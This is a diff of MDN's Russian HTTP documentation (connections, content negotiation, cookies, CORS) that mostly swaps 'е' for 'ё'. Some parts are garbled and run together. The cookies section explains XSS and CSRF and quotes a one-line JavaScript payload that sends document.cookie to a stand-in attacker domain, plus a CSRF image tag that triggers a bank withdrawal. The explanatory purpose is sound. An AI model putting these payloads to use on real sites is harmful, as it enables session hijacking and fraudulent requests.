                  Если сервер хочет иметь более быстрый ответ от веб-сайта или приложения, он может открыть больше соединений. Например, вместо того, чтобы иметь все ресурсы на одном домене, скажем, www.example.com, он может распределить их по нескольким доменам, www1.example.com, www2.example.com, www3.example.com. Каждый из этих доменов разрешается на том же сервере, и веб-браузер откроет 6 соединений к каждому (в нашем примере число соединений возрастет до 18). Этот метод называют доменным разделением (domain sharding).
                  
+
                  Если сервер хочет иметь более быстрый ответ от веб-сайта или приложения, он может открыть больше соединений. Например, вместо того, чтобы иметь все ресурсы на одном домене, скажем, www.example.com, он может распределить их по нескольким доменам, www1.example.com, www2.example.com, www3.example.com. Каждый из этих доменов разрешается на том же сервере, и веб-браузер откроет 6 соединений к каждому (в нашем примере число соединений возрастёт до 18). Этот метод называют доменным разделением (domain sharding).
                  
 
 
                  
 
 
                  Заключение
                  
 
-
                  Улучшение управлением соединениями дает существенное увеличение производительности в HTTP. В HTTP/1.1 и HTTP/1.0 использование постоянного соединения – по крайней мере пока оно не начинает работать вхолостую – приводит к лучшей производительности. Однако, проблемы с конвейерной обработкой привели к созданию более совершенных способов управления соединением, реализованными в HTTP/2.
                  
+
                  Улучшение управлением соединениями даёт существенное увеличение производительности в HTTP. В HTTP/1.1 и HTTP/1.0 использование постоянного соединения – по крайней мере пока оно не начинает работать вхолостую – приводит к лучшей производительности. Однако, проблемы с конвейерной обработкой привели к созданию более совершенных способов управления соединением, реализованными в HTTP/2.
                  
diff --git a/files/ru/web/http/content_negotiation/index.html b/files/ru/web/http/content_negotiation/index.html
index 28d401e3ad..4c36d7e82b 100644
--- a/files/ru/web/http/content_negotiation/index.html
+++ b/files/ru/web/http/content_negotiation/index.html
@@ -11,14 +11,14 @@ translation_of: Web/HTTP/Content_negotiation
 
 
                  Принципы согласования контента
                  
 
-
                  Конкретный документ называется ресурсом. Когда клиент хочет его получить, он запрашивает его используя его URL. Сервер использует этот URL, чтобы выбрать один из возможных вариантов - каждый вариант, называется представлением, – и возвращает этот вариант клиенту. Ресурс в общем, а также каждое из представлений, имеют определенный URL. Выбор конкретного представления при вызове ресурса определяется механизмом согласования контента и существует несколько способов согласования между клиентом и сервером.
                  
+
                  Конкретный документ называется ресурсом. Когда клиент хочет его получить, он запрашивает его используя его URL. Сервер использует этот URL, чтобы выбрать один из возможных вариантов - каждый вариант, называется представлением, – и возвращает этот вариант клиенту. Ресурс в общем, а также каждое из представлений, имеют определённый URL. Выбор конкретного представления при вызове ресурса определяется механизмом согласования контента и существует несколько способов согласования между клиентом и сервером.
                  
 
 
                  
 
 
                  Определение наиболее подходящего представления производится с помощью одного из двух механизмов:
                  
 
 
                    
- 
                  • Конкретные HTTP-заголовки  клиента (согласование на основе сервера  или упреждающее согласование), что является стандартным способом согласования определенного вида ресурса.
                    • 
+ 
                  • Конкретные HTTP-заголовки  клиента (согласование на основе сервера  или упреждающее согласование), что является стандартным способом согласования определённого вида ресурса.
                    • 
  
                  • HTTP коды ответа {{HTTPStatus("300")}} (Multiple Choices) или {{HTTPStatus("406")}} (Not Acceptable) (согласование на основе агента или реактивное согласование), используемые в качестве резервных механизмов.
                    • 
 
                  
 
@@ -37,16 +37,16 @@ translation_of: Web/HTTP/Content_negotiation
 
                  Согласование на стороне сервера является самым популярным способом согласования контента, но у него есть несколько недостатков:
                  
 
 
                    
- 
                  • У сервера нет всей информации о клиентском приложении. Даже с расширением Client Hints сервер не может знать всех возможностей браузера. В отличие от реактивного согласования, где клиент совершает выбор, выбор сервера всегда остается в каком-то смысле произвольным.
                    • 
+ 
                  • У сервера нет всей информации о клиентском приложении. Даже с расширением Client Hints сервер не может знать всех возможностей браузера. В отличие от реактивного согласования, где клиент совершает выбор, выбор сервера всегда остаётся в каком-то смысле произвольным.
                    • 
  
                  • Информация, полученная от клиента, довольно подробная (сжатие заголовков протокола HTTP/2 отчасти решает эту проблему) и является источником утечки конфиденциальности (идентификация по HTTP).
                    • 
  
                  • С увеличением количества представлений падает эффективность общих кешей и усложняется реализация сервера.
                    • 
 
                  
 
 
                  Заголовок Accept
                  
 
-
                  Заголовок {{HTTPHeader("Accept")}} перечисляет MIME типы содержимого ресурса, которые клиент желает получить. Он представляет список MIME типов, разделенный запятыми, каждый из которых, опционально, снабжён коэффициентом желательности – параметром, определяющим относительный уровень желательности среди разных MIME типов.
                  
+
                  Заголовок {{HTTPHeader("Accept")}} перечисляет MIME типы содержимого ресурса, которые клиент желает получить. Он представляет список MIME типов, разделённый запятыми, каждый из которых, опционально, снабжён коэффициентом желательности – параметром, определяющим относительный уровень желательности среди разных MIME типов.
                  
 
-
                  {{HTTPHeader("Accept")}} определяется браузером, или любым другим клиентом, и может изменяться в зависимости от контекста, например, при получении страницы HTML, изображения, видео или скрипта – его содержимое будет различаться при запросе документа из строки адреса, через тег {{ HTMLElement("img") }}, {{ HTMLElement("video") }} или {{ HTMLElement("audio") }}. Браузеры могут использовать любое значение, которые они считают наиболее подходящим; можете ознакомиться со списком значений по умолчанию, используемых распространенными браузерами.
                  
+
                  {{HTTPHeader("Accept")}} определяется браузером, или любым другим клиентом, и может изменяться в зависимости от контекста, например, при получении страницы HTML, изображения, видео или скрипта – его содержимое будет различаться при запросе документа из строки адреса, через тег {{ HTMLElement("img") }}, {{ HTMLElement("video") }} или {{ HTMLElement("audio") }}. Браузеры могут использовать любое значение, которые они считают наиболее подходящим; можете ознакомиться со списком значений по умолчанию, используемых распространёнными браузерами.
                  
 
 
                  Заголовок Accept-CH {{experimental_inline}}
                  
 
@@ -83,7 +83,7 @@ translation_of: Web/HTTP/Content_negotiation
 
 
                  Заголовок {{HTTPHeader("Accept-Charset")}} указывает серверу какие кодировки текста поддерживает клиент. По традиции он имеет своё значение для каждой локали браузера, например, ISO-8859-1,utf-8;q=0.7,*;q=0.7 установлен для западноевропейской локали.
                  
 
-
                  В настоящее время, UTF-8 имеет серьёзную поддержку, является предпочтительным способом кодировки текста и гарантирует лучшую конфиденциальность за счет уменьшения разнообразия конфигураций, поэтому большая часть браузеров пропускает заголовок Accept-Charset: Internet Explorer 8, Safari 5, Opera 11 и Firefox 10 отказались от этого заголовка в запросах.
                  
+
                  В настоящее время, UTF-8 имеет серьёзную поддержку, является предпочтительным способом кодировки текста и гарантирует лучшую конфиденциальность за счёт уменьшения разнообразия конфигураций, поэтому большая часть браузеров пропускает заголовок Accept-Charset: Internet Explorer 8, Safari 5, Opera 11 и Firefox 10 отказались от этого заголовка в запросах.
                  
 
 
                  Заголовок Accept-Encoding
                  
 
diff --git a/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html
index 043d2c19c0..e37f0d3b4d 100644
--- a/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html
+++ b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html
@@ -68,7 +68,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values
 
 
                  Значения для изображений
                  
 
-
                  Если запрашивается изображение, например через HTML-элемент {{HTMLElement("img")}}, агент пользователя часто задает уточненный список подходящих MIME-типов.
                  
+
                  Если запрашивается изображение, например через HTML-элемент {{HTMLElement("img")}}, агент пользователя часто задаёт уточнённый список подходящих MIME-типов.
                  Метаданные.
                  Разрешенное содержимоеРазрешённое содержимое Текст, который не является межэлементным {{glossary("Whitespace", "разделителем")}}.
                  Открывающий и закрывающий теги обязательны. Обратите внимание, что отсутствие </title> заставляет браузер игнорировать остальную часть страницы.
                  Разрешенные родительские элементыРазрешённые родительские элементы Элемент {{ HTMLElement("head") }}, который не содержит других элементов {{ HTMLElement("title") }}.
                  Разрешенные роли ARIAРазрешённые роли ARIA Отсутствуют.
                  Основной поток, фразовый контент.
                  Разрешенное содержимоеРазрешённое содержимое Отсутствует
                  It is an {{Glossary("empty element")}}; it must have a start tag, but must not have an end tag.
                  Разрешенные родительские элементыРазрешённые родительские элементы Любой элемент принимающий фразовый контент.
                  Разрешенные роли ARIAРазрешённые роли ARIA Любые
                  {{SpecName('HTML WHATWG', "dom.html#the-id-attribute", "id")}} {{Spec2('HTML WHATWG')}}Нет изменений с последнего "snapshot" (состояние сохраненное в определенный момент времени), {{SpecName('HTML5.1')}}Нет изменений с последнего "snapshot" (состояние сохранённое в определённый момент времени), {{SpecName('HTML5.1')}}
                  {{SpecName('HTML5.1', "dom.html#the-id-attribute", "id")}}
                  @@ -111,7 +111,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values

                  Значения для видео

                  -

                  Если запрашивается видео через HTML-элемент {{HTMLElement("video")}}, в большинстве браузеров используется уточненное значение.

                  +

                  Если запрашивается видео через HTML-элемент {{HTMLElement("video")}}, в большинстве браузеров используется уточнённое значение.

                  @@ -145,7 +145,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values

                  Значения для аудиофайлов

                  -

                  Если запрашивается аудиофайл, например через HTML-элемент {{HTMLElement("audio")}}, в большинстве браузеров используется уточненное значение.

                  +

                  Если запрашивается аудиофайл, например через HTML-элемент {{HTMLElement("audio")}}, в большинстве браузеров используется уточнённое значение.

                  @@ -179,7 +179,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values

                  Значения для скриптов

                  -

                  Если запрашивается скрипт, например через HTML-элемент {{HTMLElement("script")}}, в некоторых браузерах используется уточненное значение.

                  +

                  Если запрашивается скрипт, например через HTML-элемент {{HTMLElement("script")}}, в некоторых браузерах используется уточнённое значение.

                  @@ -213,7 +213,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values

                  Значения для таблиц стилей CSS

                  -

                  Если запрашивается таблица стилей CSS через HTML-элемент <link rel="stylesheet">, в большинстве браузеров используется уточненное значение.

                  +

                  Если запрашивается таблица стилей CSS через HTML-элемент <link rel="stylesheet">, в большинстве браузеров используется уточнённое значение.

                  diff --git a/files/ru/web/http/cookies/index.html b/files/ru/web/http/cookies/index.html index 52e3a21943..cef15e96f2 100644 --- a/files/ru/web/http/cookies/index.html +++ b/files/ru/web/http/cookies/index.html @@ -19,7 +19,7 @@ original_slug: Web/HTTP/Куки

                  До недавнего времени cookie принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что cookie пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API (localStorage and sessionStorage) и IndexedDB.

                  -

                  Чтобы посмотреть сохраненные cookies (и какие еще способы хранения данных использует веб-страница), можно использовать Storage Inspector (Инспектор хранилища) из раздела Developer Tools (Веб-разработка).

                  +

                  Чтобы посмотреть сохранённые cookies (и какие ещё способы хранения данных использует веб-страница), можно использовать Storage Inspector (Инспектор хранилища) из раздела Developer Tools (Веб-разработка).

                  @@ -32,7 +32,7 @@ original_slug: Web/HTTP/Куки 
                  Set-Cookie: <имя-cookie>=<заголовок-cookie>
                  -

                  Этот заголовок с сервера дает клиенту указание сохранить cookie (это делают, например, PHP, Node.js, Python и Ruby on Rails). Отклик, отправляемый браузеру, содержит заголовок Set-Cookie, и cookie запоминается браузером.

                  +

                  Этот заголовок с сервера даёт клиенту указание сохранить cookie (это делают, например, PHP, Node.js, Python и Ruby on Rails). Отклик, отправляемый браузеру, содержит заголовок Set-Cookie, и cookie запоминается браузером.

                  HTTP/1.0 200 OK
 Content-type: text/html
@@ -41,7 +41,7 @@ Set-Cookie: tasty_cookie=strawberry
 
 [page content]
                  -

                  Теперь, с каждым новым запросом к серверу, при помощи заголовка {{HTTPHeader("Cookie")}} браузер будет возвращать серверу все сохраненные ранее cookies. 

                  +

                  Теперь, с каждым новым запросом к серверу, при помощи заголовка {{HTTPHeader("Cookie")}} браузер будет возвращать серверу все сохранённые ранее cookies. 

                  GET /sample_page.html HTTP/1.1
 Host: www.example.org
@@ -50,17 +50,17 @@ Cookie: yummy_cookie=choco; tasty_cookie=strawberry
 
 
 
-
                  Простой cookie, пример которого приведен выше, представляет собой сессионный cookie (session cookie) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты Expires или  Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.
                  
+
                  Простой cookie, пример которого приведён выше, представляет собой сессионный cookie (session cookie) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты Expires или  Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.
                  
 
 
                  Постоянные cookies
                  
 
-
                  Постоянные cookie ( permanent cookies) удаляются не с закрытием клиента, а при наступлении определенной даты (атрибут Expires) или после определенного интервала времени (атрибут Max-Age).
                  
+
                  Постоянные cookie ( permanent cookies) удаляются не с закрытием клиента, а при наступлении определённой даты (атрибут Expires) или после определённого интервала времени (атрибут Max-Age).
                  
 
 
                  Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
                  
 
 
                  Secure ("безопасные") и HttpOnly cookies
                  
 
-
                  "Безопасные" (secure) cookie отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в cookies, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг secure никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищенные сайты (http:) не могут создавать куки с флагом secure.
                  
+
                  "Безопасные" (secure) cookie отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в cookies, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг secure никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищённые сайты (http:) не могут создавать куки с флагом secure.
                  
 
 
                  Куки HTTPonly не доступны из JavaScript через свойства {{domxref("Document.cookie")}} API, что помогает избежать межсайтового скриптинга ({{Glossary("XSS")}}). Устанавливайте этот флаг для тех cookie, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг HttpOnly.
                  
 
@@ -69,7 +69,7 @@ Cookie: yummy_cookie=choco; tasty_cookie=strawberry
 
                  Область видимости куков
                  
 
 
                  Директивы Domain  и Path определяют область видимости куки, то есть те URL-адреса, к которым куки могут отсылаться.
                  
- Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берется доменная часть адреса документа (но без поддоменов).  Если домен указан явно, то поддомены всегда включены.
                  
+ Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берётся доменная часть адреса документа (но без поддоменов).  Если домен указан явно, то поддомены всегда включены.
                  
 
 
                  Например, если задано Domain=mozilla.org, то куки включены и в поддоменах, например, в developer.mozilla.org.
                  
 
@@ -96,7 +96,7 @@ document.cookie = "tasty_cookie=strawberry";
 console.log(document.cookie);
 // logs "yummy_cookie=choco; tasty_cookie=strawberry"
                  -

                  Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчеркнутые ниже (раздел Security). Куки, доступные для JavaScript, могут быть похищены посредством XSS.

                  +

                  Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчёркнутые ниже (раздел Security). Куки, доступные для JavaScript, могут быть похищены посредством XSS.

                  @@ -109,7 +109,7 @@ console.log(document.cookie);

                  Захват сессии (session hijacking) и XSS

                  -

                  Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошел процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для {{Glossary("XSS")}}.

                  +

                  Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошёл процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для {{Glossary("XSS")}}.

                  (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
                  @@ -117,7 +117,7 @@ console.log(document.cookie);

                  Межсайтовая подделка запроса (CSRF - Cross-site request forgery)

                  -

                  В Wikipedia приведен хороший пример {{Glossary("CSRF")}}. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:

                  +

                  В Wikipedia приведён хороший пример {{Glossary("CSRF")}}. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:

                  <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
                  @@ -134,17 +134,17 @@ console.log(document.cookie);

                  Сторонние (Third-party) куки

                  -

                  Куки связаны с определенным доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют "куками первого лица" (first-party cookies). Если это другой домен, их называют "сторонними куками" (third-party cookies). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. В качестве примера можно рассмотреть типы файлов cookie, используемые Google. Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, Privacy Badger от EFF).

                  +

                  Куки связаны с определённым доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют "куками первого лица" (first-party cookies). Если это другой домен, их называют "сторонними куками" (third-party cookies). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. В качестве примера можно рассмотреть типы файлов cookie, используемые Google. Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, Privacy Badger от EFF).

                  Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе cookie statement (создание куков).

                  Не отслеживать (Do-Not-Track)

                  -

                  Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок {{HTTPHeader("DNT")}}, хотя технических или законодательных требований на этот счет нет. Подробнее об этом рассказывается в разделе заголовок {{HTTPHeader("DNT")}}.

                  +

                  Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок {{HTTPHeader("DNT")}}, хотя технических или законодательных требований на этот счёт нет. Подробнее об этом рассказывается в разделе заголовок {{HTTPHeader("DNT")}}.

                  Директива Евросоюза о куках

                  -

                  Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (Directive 2009/136/EC), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счет могут быть свои законы.

                  +

                  Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (Directive 2009/136/EC), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счёт могут быть свои законы.

                  Согласно этой директиве для хранения или извлечения информации с компьютера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента её появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.

                  diff --git a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html index 48cb10706a..1a69c7a3d0 100644 --- a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html +++ b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html @@ -23,7 +23,7 @@ translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin

                  Что пошло не так?

                  -

                  Проще говоря, источник делает запрос который не совпадает ни с одним из источников разрешенных заголовком - {{HTTPHeader("Access-Control-Allow-Origin")}}.

                  +

                  Проще говоря, источник делает запрос который не совпадает ни с одним из источников разрешённых заголовком - {{HTTPHeader("Access-Control-Allow-Origin")}}.

                  Эта ошибка также может произойти, если ответ содержит более одного заголовка Access-Control-Allow-Origin.

                  diff --git a/files/ru/web/http/cors/errors/corsdisabled/index.html b/files/ru/web/http/cors/errors/corsdisabled/index.html index c4f75914b1..0c5d69b7c3 100644 --- a/files/ru/web/http/cors/errors/corsdisabled/index.html +++ b/files/ru/web/http/cors/errors/corsdisabled/index.html @@ -11,9 +11,9 @@ translation_of: Web/HTTP/CORS/Errors/CORSDisabled

                  Что случилось?

                  -

                  При запросе с использованием {{Glossary("CORS")}}, последний был отключен в браузере пользователя. Чтобы использовать CORS, его необходимо включить.

                  +

                  При запросе с использованием {{Glossary("CORS")}}, последний был отключён в браузере пользователя. Чтобы использовать CORS, его необходимо включить.

                  -

                  В браузере Firefox, настройка которая отключает CORS - content.cors.disable. Устанавливая данное значение в true вы отключаете CORS, поэтому каждый раз при использовании CORS запрос будет отклонен с ошибкой.

                  +

                  В браузере Firefox, настройка которая отключает CORS - content.cors.disable. Устанавливая данное значение в true вы отключаете CORS, поэтому каждый раз при использовании CORS запрос будет отклонён с ошибкой.

                  Смотрите также

                  diff --git a/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html index 56875e1603..60e0ed817b 100644 --- a/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html +++ b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html @@ -11,13 +11,13 @@ translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin

                  В ответе на {{Glossary("CORS")}}-запрос отсутствует заголовок {{HTTPHeader("Access-Control-Allow-Origin")}}, используемый для проверки, может ли ресурс быть доступен для контента на текущем домене.

                  -

                  Если у вас есть доступ к серверу, то добавьте домен запрашивающего сайта в список разрешенных доменов, добавив его в значение заголовка Access-Control-Allow-Origin.

                  +

                  Если у вас есть доступ к серверу, то добавьте домен запрашивающего сайта в список разрешённых доменов, добавив его в значение заголовка Access-Control-Allow-Origin.

                  Например, для предоставления сайту https://amazing.site доступа к ресурсам с использованием CORS, заголовок должен выглядеть так:

                  Access-Control-Allow-Origin: https://amazing.site
                  -

                  Также вы можете разрешить доступ любому сайту, используя подстановку *. Используйте этот способ только для публичных API. В закрытых API * не должна использоваться, вместо этого должен быть установлен определенный домен или домены. При этом подстановка работает только для запросов с атрибутом {{htmlattrxref("crossorigin")}} со значением anonymous.

                  +

                  Также вы можете разрешить доступ любому сайту, используя подстановку *. Используйте этот способ только для публичных API. В закрытых API * не должна использоваться, вместо этого должен быть установлен определённый домен или домены. При этом подстановка работает только для запросов с атрибутом {{htmlattrxref("crossorigin")}} со значением anonymous.

                  Access-Control-Allow-Origin: *
                  diff --git a/files/ru/web/http/cors/index.html b/files/ru/web/http/cors/index.html index ca98549889..c7ec4d9028 100644 --- a/files/ru/web/http/cors/index.html +++ b/files/ru/web/http/cors/index.html @@ -13,7 +13,7 @@ translation_of: Web/HTTP/CORS

                  -

                  Механизм CORS поддерживает кросс-доменные запросы и передачу данных между браузером и web-серверами по защищенному соединению. Современные браузеры используют CORS в API-контейнерах, таких как {{domxref("XMLHttpRequest")}} или Fetch, чтобы снизить риски, присущие запросам с других источников.

                  +

                  Механизм CORS поддерживает кросс-доменные запросы и передачу данных между браузером и web-серверами по защищённому соединению. Современные браузеры используют CORS в API-контейнерах, таких как {{domxref("XMLHttpRequest")}} или Fetch, чтобы снизить риски, присущие запросам с других источников.

                  Кто должен читать данную статью?

                  @@ -31,14 +31,14 @@ translation_of: Web/HTTP/CORS
                • WebGL текстуры.
                • Фреймы с изображениями/видео, добавленными в канвас с помощью drawImage.
                • Стили (для CSSOM доступа).
                  • -
                • Скрипты (для  отключенных исключений).
                  • +
                • Скрипты (для  отключённых исключений).

                  • Эта статья описывает общие понятия Cross-Origin Resource Sharing и включает обсуждение необходимых HTTP заголовков.

                  Обзор функциональности

                  -

                  Стандарт Cross-Origin Resource Sharing работает с помощью добавления новых HTTP-заголовков, которые позволяют серверам описывать набор источников, которым разрешено читать информацию, запрашиваемую web-браузером. В частности, для методов HTTP-запросов, которые могут привести к побочным эффектам над данными сервера (в частности, для HTTP методов, отличных от {{HTTPMethod("GET")}} или для {{HTTPMethod("POST")}} запросов, использующих определенные MIME-типы), спецификация требует, чтобы браузеры "предпроверяли" запрос, запрашивая поддерживающие методы с сервера с помощью метода HTTP-запроса {{HTTPMethod("OPTIONS")}} и затем, поверх "подтверждения" с сервера, отсылали фактический запрос с фактическим методом HTTP-запроса. Сервера также могут оповещать клиентов должны ли "полномочия" (включая Cookies и HTTP Authentication данные) быть отправлены с запросом.

                  +

                  Стандарт Cross-Origin Resource Sharing работает с помощью добавления новых HTTP-заголовков, которые позволяют серверам описывать набор источников, которым разрешено читать информацию, запрашиваемую web-браузером. В частности, для методов HTTP-запросов, которые могут привести к побочным эффектам над данными сервера (в частности, для HTTP методов, отличных от {{HTTPMethod("GET")}} или для {{HTTPMethod("POST")}} запросов, использующих определённые MIME-типы), спецификация требует, чтобы браузеры "предпроверяли" запрос, запрашивая поддерживающие методы с сервера с помощью метода HTTP-запроса {{HTTPMethod("OPTIONS")}} и затем, поверх "подтверждения" с сервера, отсылали фактический запрос с фактическим методом HTTP-запроса. Сервера также могут оповещать клиентов должны ли "полномочия" (включая Cookies и HTTP Authentication данные) быть отправлены с запросом.

                  Следующая секция описывает сценарии, а также предоставляет анализ использования HTTP-заголовков. 

                  @@ -46,7 +46,7 @@ translation_of: Web/HTTP/CORS

                  Здесь мы рассмотрим три сценария, которые иллюстрируют как Cross-Origin Resource Sharing работает. Каждый сценарий использует объект {{domxref("XMLHttpRequest")}}, который может быть использован для межсайтового взаимодействия, в любом, поддерживающем данный объект, браузере.

                  -

                  Фрагменты JavaScript кода, включенные в эти секции (а также фрагменты кода, отвечающие за корректную обработку межсерверных запросов, которые запускаются на сервере) могут быть испытаны "в действии" на http://arunranga.com/examples/access-control/, и будут работать в браузерах, которые поддерживают {{domxref("XMLHttpRequest")}}.

                  +

                  Фрагменты JavaScript кода, включённые в эти секции (а также фрагменты кода, отвечающие за корректную обработку межсерверных запросов, которые запускаются на сервере) могут быть испытаны "в действии" на http://arunranga.com/examples/access-control/, и будут работать в браузерах, которые поддерживают {{domxref("XMLHttpRequest")}}.

                  Обсуждение Cross-Origin Resource Sharing с точки зрения сервера (включая фрагменты кода на PHP) может быть найдено в статье Server-Side Access Control (CORS).

                  @@ -62,7 +62,7 @@ translation_of: Web/HTTP/CORS
                • {{HTTPMethod("POST")}}
                  • -
                • Кроме заголовков, которые автоматические проставляются user-agent'ом (например, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, или любой другой заголовок с именем, определенным в спецификации метода Fetch в секции “Запрещенные имена заголовков (которые нельзя изменить программно)”), допустимыми заголовками, которые могут быть проставлены вручную, являются те заголовки, которые определены спецификацией метода Fetch как “CORS-безопасные заголовки запроса”, такие как: +
                • Кроме заголовков, которые автоматические проставляются user-agent'ом (например, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, или любой другой заголовок с именем, определённым в спецификации метода Fetch в секции “Запрещённые имена заголовков (которые нельзя изменить программно)”), допустимыми заголовками, которые могут быть проставлены вручную, являются те заголовки, которые определены спецификацией метода Fetch как “CORS-безопасные заголовки запроса”, такие как:
                  • {{HTTPHeader("Accept")}}
                  • {{HTTPHeader("Accept-Language")}}
                    • @@ -104,7 +104,7 @@ function callOtherDomain() { } -

                    Это приведет к простому обмену запросами между клиентом и сервером, используя CORS заголовки для обработки привилегий:

                    +

                    Это приведёт к простому обмену запросами между клиентом и сервером, используя CORS заголовки для обработки привилегий:

                    @@ -134,13 +134,13 @@ Content-Type: application/xml [XML Data] -

                    Строчки 1 - 10 это заголовки отправленного запроса. Самим интересующим здесь для нас заголовком является {{HTTPHeader("Origin")}}, указанный на 10 строке. Данный заголовок указывает, что запрос пришел из содержимого домена http://foo.example.

                    +

                    Строчки 1 - 10 это заголовки отправленного запроса. Самим интересующим здесь для нас заголовком является {{HTTPHeader("Origin")}}, указанный на 10 строке. Данный заголовок указывает, что запрос пришёл из содержимого домена http://foo.example.

                    Строчки 13 - 22 показывают HTTP-ответ от сервера на домен http://bar.other. В ответ сервер возвращает {{HTTPHeader("Access-Control-Allow-Origin")}} заголовок, указанный на 16 строке. Использование заголовков {{HTTPHeader("Origin")}} header и {{HTTPHeader("Access-Control-Allow-Origin")}} показывает протокол контроля доступа в простейшем виде. В этом случае, сервер отвечает с Access-Control-Allow-Origin: * что означает, что к ресурсу может получить доступ с любого домена кросс-сайтовым способом. Если владелец ресурса http://bar.other пожелал ограничить доступ к ресурсу для запросов только с http://foo.example, они отправят обратно:

                    Access-Control-Allow-Origin: http://foo.example

                    -

                    Отметьте, никакой домен, кроме http://foo.example (определен ORIGIN: заголовок в запросе, как в 10 строке выше), не может получить доступ к ресурсу кросс-сайтовым способом. Заголовок Access-Control-Allow-Origin должен содержать значение, которое было отправлено в заголовке Origin запроса. 

                    +

                    Отметьте, никакой домен, кроме http://foo.example (определён ORIGIN: заголовок в запросе, как в 10 строке выше), не может получить доступ к ресурсу кросс-сайтовым способом. Заголовок Access-Control-Allow-Origin должен содержать значение, которое было отправлено в заголовке Origin запроса. 

                    Предварительные запросы

